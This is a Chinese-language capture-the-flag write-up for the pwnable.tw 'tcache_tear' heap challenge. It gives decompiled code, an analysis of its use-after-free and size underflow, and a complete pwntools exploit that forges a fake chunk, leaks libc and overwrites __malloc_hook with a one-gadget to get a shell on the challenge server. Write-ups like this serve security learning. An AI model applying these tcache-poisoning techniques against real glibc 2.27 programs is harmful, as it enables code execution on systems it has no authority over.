# pwnable.tw tcache_tear

# 保护:

1
2
3
4
5
6
7
dreamcat@ubuntu:~/Desktop/pwnable/Tcache Tear$ checksec --file=tcache_tear
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols Yes 1 2 tcache_tear
dreamcat@ubuntu:~/Desktop/pwnable/Tcache Tear$ strings libc-2.27.so | grep ubuntu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

64 位程序,FULLrelro 导致不能改写 got

但是因为这个 libc 版本太老,tcache 不会检查 double free

# 主要程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-4h]

sub_400948(a1, a2, a3);
printf("Name:");
read_name((__int64)&name, 0x20u);
v4 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_num();
if ( v3 != 2 )
break;
if ( v4 <= 7 ) // 限制释放次数
{
free(ptr);
++v4;
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
info();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
add();
}
}
}

只允许 8 次 free,而且还有 tcache,ptr 指针存在 uaf,但是没有编辑函数,输出的是 name,对于 name 输入输出限制大小都在 0x20 没有溢出以及泄露 ptr 的可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int add()
{
unsigned __int64 v0; // rax
int size; // [rsp+8h] [rbp-8h]

printf("Size:");
v0 = get_num();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
read_name((__int64)ptr, size - 16); // 溢出
LODWORD(v0) = puts("Done !");
}
return v0;
}

add 读入数据时存在数字类型转换溢出,当 size<16 时,读入非常大的数据,可以覆盖 topchunk

# loading:

1:最主要的问题,如何泄露 libc 的地址。尝试攻击 stdout 结构体

largebin 不走 tcache,但是走 unsortedbin,所以伪造 fakechunk 进 sortedbin,低版本的 libc2.27 可以 tcache double free, 很容易拿到 name,并且实现超长数据写(size<16)

我们将 name 伪造成 largechunk,free 后进 unsortedbins,泄露 libc,然后同样手法修改 malloc_hook,这次需要 realloc 调栈

# exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

#context.log_level='debug'
#r=process('./tcache_tear')
r=remote('chall.pwnable.tw',10207)
elf =ELF('./tcache_tear')
libc = ELF('./libc-2.27.so')
name=0x602060
#fake chunksize 0x91,name size is 0x20

gp = 0x602088
def ch(i):
r.sendlineafter("Your choice :",str(i))

def add(size,text):
ch(1)
r.sendlineafter("Size:",str(size))
r.sendlineafter("Data:",text)

def free():
ch(2)

#gdb.attach(r,'b malloc')
offset = gp-name
fakechunk=p64(0x602060)+p64(0x501)
fakechunk +=b'\x00'*(offset-0x10)+p64(name+0x10)+b'\x00'*(0x602560-0x602090+8)+p64(0x21)
fakechunk +=b'\x00'*0x18 + p64(0x21)
r.sendafter("Name:",p64(0x602060))
add(10,'aaaa')
free()
free()
add(10,p64(name))
add(10,'aaaa')
add(10,fakechunk)
free()
ch(3)
r.recvuntil("\x05")
r.recv(6)

main_addr_96 = u64(r.recv(6).ljust(8,b'\x00'))
malloc_hook = main_addr_96-0x70
realloc_hook = malloc_hook-0x8
libcbase = main_addr_96 - 0x3ebca0

print("libc : ",hex(libcbase))
print("malloc_hook : ",hex(malloc_hook))

onegadget = 0xcafebabedeadbeef
onegadget = libcbase +0x010a38c
realloc = libcbase + libc.sym['realloc']

print("realloc _: ",hex(realloc))
add(10,p64(malloc_hook-8))
add(10,'')
add(10,p64(onegadget)+p64(realloc+6))
ch(1)
r.sendline("10")
r.interactive()
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal